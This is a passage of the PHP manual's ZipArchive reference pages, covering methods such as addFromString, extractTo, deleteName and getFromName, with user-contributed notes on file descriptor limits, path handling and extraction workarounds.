camuc at camuc dot net 27-Apr-2010 05:23
In some versions of this library you NEED to add the "localfile" parameter or the file will not show in the Zip folder.
pelpet at ic dot cz 20-Apr-2010 06:02
<?php
$zip=new ZipArchive;
$zip->addFile('path to the file', 'new name of the file');
?>

What I have to do, when I wan't to have the file in the zip archive with it's name before archiving?
(Sorry, I'm from Czech Republic and I can't speak English very well, if I did anywhere mistake, so ignore that pease :-)
jayarjo 24-Feb-2010 10:44
It is not obvious, since there are no noticeable examples around, but you can use $localname (second parameter) to define and control file/directory structure inside the zip. Use it if you do not want files to be included with their absolute directory tree.

<?php

$zip->addFile($abs_path, $relative_path);

?>
Anonymous 18-Jan-2010 07:30
On my system (Windows), I found that ZipArchive uses IBM850 encoding for filenames (localname). For filenames with special characters such as (é) &eacute; which appears at 0xE9 in the ISO-8859-1, it is at 0x82 in IBM850. I had to call iconv('ISO-8859-1', 'IBM850', 'Québec') to get correct file names.
peter at boring dot ch 22-Aug-2009 03:10
Here's a little extension to ZipArchive that handles directories recursively:

<?php

class Zipper extends ZipArchive {

public function addDir($path) {
    print 'adding ' . $path . '<br>';
    $this->addEmptyDir($path);
    $nodes = glob($path . '/*');
    foreach ($nodes as $node) {
        print $node . '<br>';
        if (is_dir($node)) {
            $this->addDir($node);
        } else if (is_file($node))  {
            $this->addFile($node);
        }
    }
}

} // class Zipper

?>
christophe dot braud at aquafadas dot com 11-Aug-2009 12:10
If you have some warnings with ZipArchiveImproved since the last Ubuntu update, replace "self::CREATE" by "self::CREATE | self::OVERWRITE" in the reopen function

christophe
garcia at no_span dot krautzer-lynn dot com 24-Mar-2009 03:31
If you add files that have an absolut path, like for example:
/mnt/repository/my_file.pdf
the standard windows zip utility will not be able to extract the files. The first slash trips the zip utility. You have to add relative file paths or use a symbolic link.
ss at littlerain dot com 31-Jan-2009 01:45
Note that the file isn't actually added to the archive until the $zip->close() method is called. I spent a lot of time trying to figure out why no time() went by after adding large files via $zip->addFile() but would then time out the script.
Farzad Ghanei 18-Jan-2009 11:53
here is a basic class that extends the ZipArchive to:
  * add a functionality to report the ZIP file address (I needed it and I could not find out how in ZipArchive documentation).
  * resolve the problem of adding so many files to the archive due file descriptor limit. the ZipArchiveImproved::addFile() handles this.

<?php
/**
 * ZipArchiveImproved extends ZipArchive to add some information about the zip file and some functionality.
 *
 *
 *
 * @author Farzad Ghanei
 * @uses ZipArchive
 * @version 1.0.0 2009-01-18
 */

class ZipArchiveImproved extends ZipArchive {
    protected $_archiveFileName = null;
    protected $_newAddedFilesCounter = 0;
    protected $_newAddedFilesSize = 100;

    /**
     * returns the name of the archive file.
     *
     * @return string
     */
    public function getArchiveFileName() {
        return $this->_archiveFileName;
    }

    /**
     * returns the number of files that are going to be added to ZIP
     * without reopenning the stream to file.
     *
     * @return int
     */
    public function getNewAddedFilesSize() {
        return $this->_newAddedFilesSize;
    }

    /**
     * sets the number of files that are going to be added to ZIP
     * without reopenning the stream to file. if no size is specified, default is 100.
     *
     * @param int
     * @return ZipArchiveImproved self reference
     */
    public function setNewlAddedFilesSize($size=100) {
        if ( empty($size) || !is_int($size) || $size < 1) {
            $size = 100;
        }
        $this->_newAddedFilesSize = $size;
        return $this;
    }

    /**
     * opens a stream to a ZIP archive file. calls the ZipArchive::open() internally.
     * overwrites ZipArchive::open() to add the archiveFileName functionality.
     *
     * @param string $fileName
     * @param int $flags
     * return mixed
     */
    public function open($fileName, $flags) {
        $this->_archiveFileName = $fileName;
        $this->_newAddedFilesCounter = 0;
        return parent::open($fileName,$flags);
    }

    /**
     * closes the stream to ZIP archive file. calls the ZipArchive::close() internally.
     * overwrites ZipArchive::close() to add the archiveFileName functionality.
     *
     * @return bool
     */
    public function close() {
        $this->_archiveFileName = null;
        $this->_newAddedFilesCounter = 0;
        return parent::close();
    }

    /**
     * closes the connection to ZIP file and openes the connection again.
     *
     * @return bool
     */
    public function reopen() {
        $archiveFileName = $this->_archiveFileName;
        if ( !$this->close() ) {
            return false;
        }
        return $this->open($archiveFileName,self::CREATE);
    }

    /**
     * adds a file to a ZIP archive from the given path. calls the ZipArchive::addFile() internally.
     * overwrites ZipArchive::addFile() to handle maximum file connections in operating systems.
     *
     * @param string $fileName the path to file to be added to archive
     * @param string [optional] $localname the name of the file in the ZIP archive
     * @return bool
     */
    public function addFile( $fileName ) {
        if ($this->_newAddedFilesCounter >= $this->_newAddedFilesSize) {
            $this->reopen();
        }
        if ( func_num_args() > 1 ) {
            $flags = func_get_arg(1);
            $added = parent::addFile($fileName,$flags);
            if ($added) {
                $this->_newAddedFilesCounter++;
            }
            return $added;
        }
        $added = parent::addFile($fileName);
        if ($added) {
            $this->_newAddedFilesCounter++;
        }
        return $added;
    } // public function addFile()
}
?>
marco at maranao dot ca 15-Dec-2008 07:45
This is my workaround for the file descriptor limit by closing/opening the archive file periodically.

<?php
if($backup = new ZipArchive()) {
    if($backup->open($zip, ZIPARCHIVE::OVERWRITE) === true) {
        $backup->addFile($file['realpath'], $file['path']);
        if(($count++) == 200) { // the file descriptor limit
            $backup->close();
            if($backup = new ZipArchive()) {
                $backup->open($zip);
                $count = 0;
            }
        }
    }
    $backup->close();
}
?>

Hope it helps someone.
javierseixas at gmail dt com 17-Jul-2008 05:30
I have had several problems trying adding files, because of a path problem. The error gived was this:

ZipArchive::addFile() [function.ZipArchive-addFile]: Unable to access <path>

I used an absolute root starting by "/", and it didn't work. Try starting your path with "./" (referencing the root of your site).
wacher at freemail dot hu 23-Jun-2008 10:03
The workaround above (file_get_contents) is very dangerous if you pack large files. (see memory limit).
Close/open the zip archive periodically instead of using file_get_contents().
stanleyshilov {} gmail.com 11-May-2008 09:05
It should be noted that the example provided above is not accurate.

Unlike extractTo, zip_open does not return a boolean result, so the above example will always fail.
mike at thetroubleshooters dot dk 07-Feb-2008 04:20
What is worse is that when you run out of filedescriptors it seems to fail silently, I have not been able to find any errors in any logfiles.
Andreas R. newsgroups2005 at geekmail de 04-Apr-2007 03:29
Currently the number of files that can be added using addFile to the ZIP archive (until it is closed) is limited by file descriptors limit. This is an easy workaround (on the bug links below you can find another workarounds):
<?php
    /** work around file descriptor number limitation (to avoid failure
     * upon adding more than typically 253 or 1024 files to ZIP) */
    function addFileToZip( $zip, $path, $zipEntryName ) {
        // this would fail with status ZIPARCHIVE::ER_OPEN
        // after certain number of files is added since
        // ZipArchive internally stores the file descriptors of all the
        // added files and only on close writes the contents to the ZIP file
        // see: http://bugs.php.net/bug.php?id=40494
        // and: http://pecl.php.net/bugs/bug.php?id=9443
        // return $zip->addFile( $path, $zipEntryName );

        $contents = file_get_contents( $path );
        if ( $contents === false ) {
            return false;
        }
        return $zip->addFromString( $zipEntryName, $contents );
    }
?>


Add a file to a ZIP archive using its contents

  • « ZipArchive::addFile
  • ZipArchive::addGlob »
  • PHP Manual
  • ZipArchive
  • Add a file to a ZIP archive using its contents

ZipArchive::addFromString

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::addFromString — Add a file to a ZIP archive using its contents

Description

bool ZipArchive::addFromString ( string $localname , string $contents )

Add a file to a ZIP archive using its contents.

Parameters

localname

The name of the entry to create.

contents

The contents to use to create the entry. It is used in a binary safe mode.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Add an entry to a new archive

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

Example #2 Add file to a directory inside an archive

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->addFromString('dir/test.txt', 'file content goes here');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

xslidian at lidian dot info 20-Feb-2013 09:57
Although numFiles will change after overwriting a file, it will be back normal when you ZipArchive::close() and open() it again.
NULL indexes don't persist either. Only the new order is kept. So feel free to overwrite.

Here overwriting works the same as deleting and adding. So it's not necessary to ZipArchive::deleteName() first.
calebcjh 19-May-2010 09:54
Although this function displaces files of the same name, in actual fact, the original file is blanked and a new entry is added. The numFiles property is incremented.

Example:

File 1: foo
File 2: bar

$zip->addFromString('foo', 'new foo');

File 1:
File 2: bar
File 3: foo
gbti at ukr dot net 16-Nov-2008 07:01
if you try:

<?php
$zip->open("file", ZipArchive::CREATE);
$zip->addFromString("russian_letters/options.xml");
?>

wrong directory will be created.

if you try:

<?php
$zip->addEmptyDir("russian_letters");
?>

All be fine.
Jacques Chester 31-Jan-2007 06:10
Note that this function overwrites existing files of the same name.


Add files from a directory by glob pattern

  • « ZipArchive::addFromString
  • ZipArchive::addPattern »
  • PHP Manual
  • ZipArchive
  • Add files from a directory by glob pattern

ZipArchive::addGlob

(PHP 5 >= 5.3.0, PECL zip >= 1.9.0)

ZipArchive::addGlob — Add files from a directory by glob pattern

Description

bool ZipArchive::addGlob ( string $pattern [, int $flags = 0 [, array $options = array() ]] )

Add files from a directory which match the glob pattern.

Parameters

pattern

A glob() pattern against which files will be matched.

flags

A bit mask of glob() flags.

options

An associative array of options. Available options are:

  • "add_path"

    Prefix to prepend when translating to the local path of the file within the archive. This is applied after any remove operations defined by the "remove_path" or "remove_all_path" options.

  • "remove_path"

    Prefix to remove from matching file paths before adding to the archive.

  • "remove_all_path"

    TRUE to use the file name only and add to the root of the archive.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ZipArchive::addGlob() example

Add all php scripts and text files from current working directory

<?php
$zip = new ZipArchive();
$ret = $zip->open('application.zip', ZipArchive::OVERWRITE);
if ($ret !== TRUE) {
    printf('Failed with code %d', $ret);
} else {
    $options = array('add_path' => 'sources/', 'remove_all_path' => TRUE);
    $zip->addGlob('*.{php,txt}', GLOB_BRACE, $options);
    $zip->close();
}
?>

See Also

  • ZipArchive::addFile() - Adds a file to a ZIP archive from the given path
  • ZipArchive::addPattern() - Add files from a directory by PCRE pattern

User Contributed Notes

There are no user contributed notes for this page.


Add files from a directory by PCRE pattern

  • « ZipArchive::addGlob
  • ZipArchive::close »
  • PHP Manual
  • ZipArchive
  • Add files from a directory by PCRE pattern

ZipArchive::addPattern

(PHP 5 >= 5.3.0, PECL zip >= 1.9.0)

ZipArchive::addPattern — Add files from a directory by PCRE pattern

Description

bool ZipArchive::addPattern ( string $pattern [, string $path = "." [, array $options = array() ]] )

Add files from a directory which match the regular expression pattern. The operation is not recursive. The pattern will be matched against the file name only.

Parameters

pattern

A PCRE pattern against which files will be matched.

path

The directory that will be scanned. Defaults to the current working directory.

options

An associative array of options accepted by ZipArchive::addGlob().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ZipArchive::addPattern() example

Add all php scripts and text files from current directory

<?php
$zip = new ZipArchive();
$ret = $zip->open('application.zip', ZipArchive::OVERWRITE);
if ($ret !== TRUE) {
    printf('Failed with code %d', $ret);
} else {
    $directory = realpath('.');
    $options = array('add_path' => 'sources/', 'remove_path' => $directory);
    $zip->addPattern('/\.(?:php|txt)$/', $directory, $options);
    $zip->close();
}
?>

See Also

  • ZipArchive::addFile() - Adds a file to a ZIP archive from the given path
  • ZipArchive::addGlob() - Add files from a directory by glob pattern

User Contributed Notes

There are no user contributed notes for this page.


Close the active archive (opened or newly created)

  • « ZipArchive::addPattern
  • ZipArchive::deleteIndex »
  • PHP Manual
  • ZipArchive
  • Close the active archive (opened or newly created)

ZipArchive::close

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::close — Close the active archive (opened or newly created)

Description

bool ZipArchive::close ( void )

Close opened or created archive and save changes. This method is automatically called at the end of the script.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

valera at creator dot su 08-Aug-2014 10:22
Pay attention, that ZipArchive::addFile() only opens file descriptor and does not compress it. And only ZipArchive::close() compress file and it take quite a lot of time. Be careful with timeouts.
m021 at springtimesoftware dot com 19-May-2011 10:14
If you have created a zip file and added a file to it without error, yet the ZipArchive::close call fails (with ER_TMPOPEN: "Failure to create temporary file") and the zip file is not created, check to see if your ZipArchive::open call specifies a pathname containing nonexisting directories. If you expect a containing hierarchy of one or more directories, you must create them yourself before using using ZipArchive. You can write a simple function to recurse using dirname to find each parent directory, creating those that don't exist by using mkdir when leaving the recursion.
webnull dot www at gmail dot com 12-Mar-2011 10:40
Please note you must have write permissions to file and directory where the files is placed to save the archive.
john factorial 29-Dec-2010 09:58
If you're adding multiple files to a zip and your $zip->close() call is returning FALSE, ensure that all the files you added actually exist. Apparently $zip->addFile() returns TRUE even if the file doesn't actually exist. It's a good idea to check each file with file_exists() or is_readable() before calling $zip->addFile() on it.
jared at kippage dot com 03-Sep-2009 03:08
It may seem a little obvious to some but it was an oversight on my behalf.

If you are adding files to the zip file that you want to be deleted make sure you delete AFTER you call the close() function.

If the files added to the object aren't available at save time the zip file will not be created.
gilthans at gmail dot com 22-Oct-2007 08:16
Don't forget to check the zip isn't empty, folks - otherwise the zip won't be created at all, and the server will issue no warning!

I used a certain loop to add files to the zip, and struggled with permissions and documentation for hours before I realize the loop ended up adding no file, even though addFile WAS called, but on a non-existent file.
This might be the reason your zips aren't popping up.


delete an entry in the archive using its index

  • « ZipArchive::close
  • ZipArchive::deleteName »
  • PHP Manual
  • ZipArchive
  • delete an entry in the archive using its index

ZipArchive::deleteIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::deleteIndex — delete an entry in the archive using its index

Description

bool ZipArchive::deleteIndex ( int $index )

Delete an entry in the archive using its index.

Parameters

index

Index of the entry to delete.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Delete file from archive using its index

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->deleteIndex(2);
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

mubin at brokergenius dot com 06-Sep-2013 03:56
I'm trying to delete file using deleteName and deleteIndex, it returns true but files are not removed. can anybody tell me how could it be?

Here is code snippet

$zip = new ZipArchive ;
$zipname = "www.zip" ;
chmod( $zipname, 0777 ) ;

if ( $zip->open( $zipname ) )
{
     $loop = $zip->numFiles ;
    for ( $i = 0; $i < $loop; $i++ )
    {

        var_dump($zip->deleteIndex( $i )) ;
        var_dump(deleteName($zip->getNameIndex( $i )). "/") ;

    }
}$zip->close() ;


delete an entry in the archive using its name

  • « ZipArchive::deleteIndex
  • ZipArchive::extractTo »
  • PHP Manual
  • ZipArchive
  • delete an entry in the archive using its name

ZipArchive::deleteName

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::deleteName — delete an entry in the archive using its name

Description

bool ZipArchive::deleteName ( string $name )

Delete an entry in the archive using its name.

Parameters

name

Name of the entry to delete.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Deleting a file and directory from an archive, using names

<?php
$zip = new ZipArchive;
if ($zip->open('test1.zip') === TRUE) {
    $zip->deleteName('testfromfile.php');
    $zip->deleteName('testDir/');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Extract the archive contents

  • « ZipArchive::deleteName
  • ZipArchive::getArchiveComment »
  • PHP Manual
  • ZipArchive
  • Extract the archive contents

ZipArchive::extractTo

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::extractTo — Extract the archive contents

Description

bool ZipArchive::extractTo ( string $destination [, mixed $entries ] )

Extract the complete archive or the given files to the specified destination.

Parameters

destination

Location where to extract the files.

entries

The entries to extract. It accepts either a single entry name or an array of names.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Extract all entries

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->extractTo('/my/destination/dir/');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

Example #2 Extract two entries

<?php
$zip = new ZipArchive;
$res = $zip->open('test_im.zip');
if ($res === TRUE) {
    $zip->extractTo('/my/destination/dir/', array('pear_item.gif', 'testfromfile.php'));
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

jan dot polak at onmyway dot cz 18-Oct-2013 05:11
Be careful about a adding filenames that start with a slash '/' to your zip archives and then extracting them by name:

<?php
$zip->addFromString('/file.txt', 'file contents'); // adds file.txt to archive's root

$zip->extractTo('dir/to/extract/'); // works, creates dir/to/extract/file.txt
$zip->extractTo('dir/to/extract/', '/file.txt'); // works

$zip->extractTo('dir/to/extract/', 'file.txt'); // fails
?>
sachinyadav at live dot com 12-Nov-2010 09:29
This script will search for ".txt" file(any file name) inside test.zip archive. Suppose, 'example.txt' file is found then the script will copy 'example.txt' to "txt_files" directory and rename it to 'test.zip.txt' and will remove all the blank lines from 'test.zip.txt' and resave and will exit the loop without searching remaining entries.
This script can be useful to extract .DIZ and GIF files to display ZIP archive details in your script.
<?php
   $value="test.zip";
   $filename="zip_files/$value";
   $zip = new ZipArchive;
     if ($zip->open($filename) === true) {
      echo "Generating TEXT file.";
          for($i = 0; $i < $zip->numFiles; $i++) {
             $entry = $zip->getNameIndex($i);
               if(preg_match('#\.(txt)$#i', $entry))
                {
                ////This copy function will move the entry to the root of "txt_files" without creating any sub-folders unlike "ZIP->EXTRACTO" function.
                copy('zip://'.dirname(__FILE__).'/zip_files/'.$value.'#'.$entry, 'txt_files/'.$value.'.txt');
                $content = file_get_contents("txt_files/$value.txt");
                $newcontent = preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $content);
                file_put_contents("txt_files/$value.txt", "$newcontent");
                break;
                }
              }
             $zip->close();
            }
    else{
         echo "ZIP archive failed";
        }
?>

enjoy PHP programming.
Sachin Yadav
php-dev at proneticas dot net 08-Nov-2010 08:22
If you want to copy one file at a time and remove the folder name that is stored in the ZIP file, so you don't have to create directories from the ZIP itself, then use this snippet (basically collapses the ZIP file into one Folder).

<?php

$path = 'zipfile.zip'

$zip = new ZipArchive;
if ($zip->open($path) === true) {
    for($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        $fileinfo = pathinfo($filename);
        copy("zip://".$path."#".$filename, "/your/new/destination/".$fileinfo['basename']);
    }
    $zip->close();
}

?>

* On a side note, you can also use $_FILES['userfile']['tmp_name'] as the $path for an uploaded ZIP so you never have to move it or extract a uploaded zip file.

Cheers!

ProNeticas Dev Team
quake2005 at gmail dot com 20-Aug-2010 08:05
If you want to extract one file at a time, you can use this:

<?php

$path = 'zipfile.zip'

$zip = new ZipArchive;
if ($zip->open($path) === true) {

    for($i = 0; $i < $zip->numFiles; $i++) {

        $zip->extractTo('path/to/extraction/', array($zip->getNameIndex($i)));

        // here you can run a custom function for the particular extracted file

    }

    $zip->close();

}

?>
cory dot mawhorter at ephective dot com 18-Apr-2010 10:28
This function will flatten a zip file using the ZipArchive class.

It will extract all the files in the zip and store them in a single destination directory.  That is, no sub-directories will be created.

If anyone knows a better way to determine if an entry is a directory, please chime in.  I feel dirty checking for a trailing slash.

<?php
// dest shouldn't have a trailing slash
function zip_flatten ( $zipfile, $dest='.' )
{
    $zip = new ZipArchive;
    if ( $zip->open( $zipfile ) )
    {
        for ( $i=0; $i < $zip->numFiles; $i++ )
        {
            $entry = $zip->getNameIndex($i);
            if ( substr( $entry, -1 ) == '/' ) continue; // skip directories

            $fp = $zip->getStream( $entry );
            $ofp = fopen( $dest.'/'.basename($entry), 'w' );

            if ( ! $fp )
                throw new Exception('Unable to extract the file.');

            while ( ! feof( $fp ) )
                fwrite( $ofp, fread($fp, 8192) );

            fclose($fp);
            fclose($ofp);
        }

                $zip->close();
    }
    else
        return false;

    return $zip;
}

/*
Example Usage:

zip_flatten( 'test.zip', 'my/path' );
*/
?>

[EDIT BY danbrown AT php DOT net: Added $zip-close() per indication by original poster in follow-up note on 18-APR-2010.]
Anonymous 03-Dec-2009 01:38
I am using this function to extract a specific folder and it's contents from a zip file:

<?php
function extractDir($zipfile, $path) {
  if (file_exists($zipfile)) {
    $files = array();
    $zip = new ZipArchive;
    if ($zip->open($zipfile) === TRUE) {
      for($i = 0; $i < $zip->numFiles; $i++) {
        $entry = $zip->getNameIndex($i);
        //Use strpos() to check if the entry name contains the directory we want to extract
        if (strpos($entry, "/MyFolder/")) {
          //Add the entry to our array if it in in our desired directory
          $files[] = $entry;
        }
      }
      //Feed $files array to extractTo() to get only the files we want
      if ($zip->extractTo($path, $files) === TRUE) {
        return TRUE;
      } else {
        return FALSE;
      }
      $zip->close();
    } else {
      return FALSE;
    }
  } else {
    return FALSE;
  }
}

//Run the function
if (extractDir($zipfile, $path)) {
  $extracted = "YES! :-D";
} else {
  $extracted = "NO! :*(";
}

echo $extracted;
?>
kawzaki at yahoo dot com 01-Jun-2009 06:28
Please be aware of the fact that using this function has OVERWRITE true.

an old file will be overwritten if the achieve (zipped file) contains file matching the same old file name.

old files that has no match in the zip, will be kept as is.

hopefully the someone will explain how to avoid overwriting old files.
Anonymous 02-Apr-2009 10:50
I found it useful to add this to a function.

<?php
/**
*  Extracts a ZIP archive to the specified extract path
*
*  @param string $file The ZIP archive to extract (including the path)
*  @param string $extractPath The path to extract the ZIP archive to
*
*  @return boolean TURE if the ZIP archive is successfully extracted, FALSE if there was an errror
*
*/
function zip_extract($file, $extractPath) {

    $zip = new ZipArchive;
    $res = $zip->open($file);
    if ($res === TRUE) {
        $zip->extractTo($extractPath);
        $zip->close();
        return TRUE;
    } else {
        return FALSE;
    }

} // end function
?>
Kaya 03-Oct-2008 10:36
Make attention when using this function with apache & windows system. Windows file system use \  (backslash) instead of unix / (slash)
Use str_replace like this.
<?php
$zip = new ZipArchive;
    if ($zip->open("file.zip")){
        $path = getcwd() . "/dirToextract/";
        $path = str_replace("\\","/",$path);
        echo $path;
        echo $zip->extractTo($path);
        $zip->close();
        echo 'Done.';
    } else {
        echo "Error";
    }
?>
tBone 03-Jun-2008 02:03
This function, at least from my experience, maintains/forces the directory structure within the ZIP file.

ie. if you have FOLDER1/File1.txt in the zip file and you use
$zip->extractTo('/extract', 'FOLDER1/File1.txt');
the location of the extracted file will be:
/extract/FOLDER1/File1.txt
DerkaDerka 06-Mar-2007 07:48
This function will overwrite destination files with the same name.


Returns the Zip archive comment

  • « ZipArchive::extractTo
  • ZipArchive::getCommentIndex »
  • PHP Manual
  • ZipArchive
  • Returns the Zip archive comment

ZipArchive::getArchiveComment

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::getArchiveComment — Returns the Zip archive comment

Description

string ZipArchive::getArchiveComment ([ int $flags ] )

Returns the Zip archive comment.

Parameters

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged comment is returned.

Return Values

Returns the Zip archive comment or FALSE on failure.

Examples

Example #1 Dump an archive comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test_with_comment.zip');
if ($res === TRUE) {
    var_dump($zip->getArchiveComment());
    /* Or using the archive property */
    var_dump($zip->comment);
} else {
    echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the comment of an entry using the entry index

  • « ZipArchive::getArchiveComment
  • ZipArchive::getCommentName »
  • PHP Manual
  • ZipArchive
  • Returns the comment of an entry using the entry index

ZipArchive::getCommentIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.4.0)

ZipArchive::getCommentIndex — Returns the comment of an entry using the entry index

Description

string ZipArchive::getCommentIndex ( int $index [, int $flags ] )

Returns the comment of an entry using the entry index.

Parameters

index

Index of the entry

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged comment is returned.

Return Values

Returns the comment on success or FALSE on failure.

Examples

Example #1 Dump an entry comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test1.zip');
if ($res === TRUE) {
    var_dump($zip->getCommentIndex(1));
} else {
    echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the comment of an entry using the entry name

  • « ZipArchive::getCommentIndex
  • ZipArchive::getExternalAttributesIndex »
  • PHP Manual
  • ZipArchive
  • Returns the comment of an entry using the entry name

ZipArchive::getCommentName

(PHP 5 >= 5.2.0, PECL zip >= 1.4.0)

ZipArchive::getCommentName — Returns the comment of an entry using the entry name

Description

string ZipArchive::getCommentName ( string $name [, int $flags ] )

Returns the comment of an entry using the entry name.

Parameters

name

Name of the entry

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged comment is returned.

Return Values

Returns the comment on success or FALSE on failure.

Examples

Example #1 Dump an entry comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test1.zip');
if ($res === TRUE) {
    var_dump($zip->getCommentName('test/entry1.txt'));
} else {
    echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the external attributes of an entry defined by its index

  • « ZipArchive::getCommentName
  • ZipArchive::getExternalAttributesName »
  • PHP Manual
  • ZipArchive
  • Retrieve the external attributes of an entry defined by its index

ZipArchive::getExternalAttributesIndex

(PHP 5 >= 5.6.0, PECL zip >= 1.12.4)

ZipArchive::getExternalAttributesIndex — Retrieve the external attributes of an entry defined by its index

Description

bool ZipArchive::GetExternalAttributesIndex ( int $index , int &$opsys , int &$attr [, int $flags ] )

Retrieve the external attributes of an entry defined by its index.

Parameters

index

Index of the entry.

opsys

On success, receive the operating system code defined by one of the ZipArchive::OPSYS_ constants.

attr

On success, receive the external attributes. Value depends on operating system.

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged attributes are returned.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

This example extract all the entries of a ZIP archive test.zip and set the Unix rights from external attributes.

Example #1 Extract all entries with Unix rights

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip') === TRUE) {
    for ($idx=0 ; $s = $zip->statIndex($idx) ; $idx++) {
        if ($zip->extractTo('.', $s['name'])) {
            if ($zip->getExternalAttributesIndex($idx, $opsys, $attr)
                && $opsys==ZipArchive::OPSYS_UNIX) {
               chmod($s['name'], ($attr & 07777));
            }
        }
    }
    $zip->close();
    echo "Ok\n";
} else {
    echo "KO\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the external attributes of an entry defined by its name

  • « ZipArchive::getExternalAttributesIndex
  • ZipArchive::getFromIndex »
  • PHP Manual
  • ZipArchive
  • Retrieve the external attributes of an entry defined by its name

ZipArchive::getExternalAttributesName

(PHP 5 >= 5.6.0, PECL zip >= 1.12.4)

ZipArchive::getExternalAttributesName — Retrieve the external attributes of an entry defined by its name

Description

bool ZipArchive::getExternalAttributesName ( string $name , int &$opsys , int &$attr [, int $flags ] )

Retrieve the external attributes of an entry defined by its name.

Parameters

name

Name of the entry.

opsys

On success, receive the operating system code defined by one of the ZipArchive::OPSYS_ constants.

attr

On success, receive the external attributes. Value depends on operating system.

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged attributes are returned.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the entry contents using its index

  • « ZipArchive::getExternalAttributesName
  • ZipArchive::getFromName »
  • PHP Manual
  • ZipArchive
  • Returns the entry contents using its index

ZipArchive::getFromIndex

(No version information available, might only be in Git)

ZipArchive::getFromIndex — Returns the entry contents using its index

Description

string ZipArchive::getFromIndex ( int $index [, int $length = 0 [, int $flags ]] )

Returns the entry contents using its index.

Parameters

index

Index of the entry

length

The length to be read from the entry. If 0, then the entire entry is read.

flags

The flags to use to open the archive. the following values may be ORed to it.

  • ZipArchive::FL_UNCHANGED

  • ZipArchive::FL_COMPRESSED

Return Values

Returns the contents of the entry on success or FALSE on failure.

Examples

Example #1 Get the file contents

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    echo $zip->getFromIndex(2);
    $zip->close();
} else {
    echo 'failed';
}
?>

See Also

  • ZipArchive::getFromName() - Returns the entry contents using its name

User Contributed Notes

matt3k 26-Jun-2013 10:21
Note, length is in characters and not bytes.
jana.vasseru 17-Aug-2007 01:26
Note that getFromIndex returns false for directories.


Returns the entry contents using its name

  • « ZipArchive::getFromIndex
  • ZipArchive::getNameIndex »
  • PHP Manual
  • ZipArchive
  • Returns the entry contents using its name

ZipArchive::getFromName

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::getFromName — Returns the entry contents using its name

Description

string ZipArchive::getFromName ( string $name [, int $length = 0 [, int $flags ]] )

Returns the entry contents using its name.

Parameters

name

Name of the entry

length

The length to be read from the entry. If 0, then the entire entry is read.

flags

The flags to use to open the archive. the following values may be ORed to it.

  • ZipArchive::FL_UNCHANGED

  • ZipArchive::FL_COMPRESSED

Return Values

Returns the contents of the entry on success or FALSE on failure.

Examples

Example #1 Get the file contents

<?php
$zip = new ZipArchive;
if ($zip->open('test1.zip') === TRUE) {
    echo $zip->getFromName('testfromfile.php');
    $zip->close();
} else {
    echo 'failed';
}
?>

Example #2 Convert an image from a zip entry

<?php
$z = new ZipArchive();
if ($z->open(dirname(__FILE__) . '/test_im.zip')) {
    $im_string = $z->getFromName("pear_item.gif");
    $im = imagecreatefromstring($im_string);
    imagepng($im, 'b.png');
}
?>

See Also

  • ZipArchive::getFromIndex() - Returns the entry contents using its index

User Contributed Notes

There are no user contributed notes for this page.


Returns the name of an entry using its index

  • « ZipArchive::getFromName
  • ZipArchive::getStatusString »
  • PHP Manual
  • ZipArchive
  • Returns the name of an entry using its index

ZipArchive::getNameIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::getNameIndex — Returns the name of an entry using its index

Description

string ZipArchive::getNameIndex ( int $index [, int $flags ] )

Returns the name of an entry using its index.

Parameters

index

Index of the entry.

flags

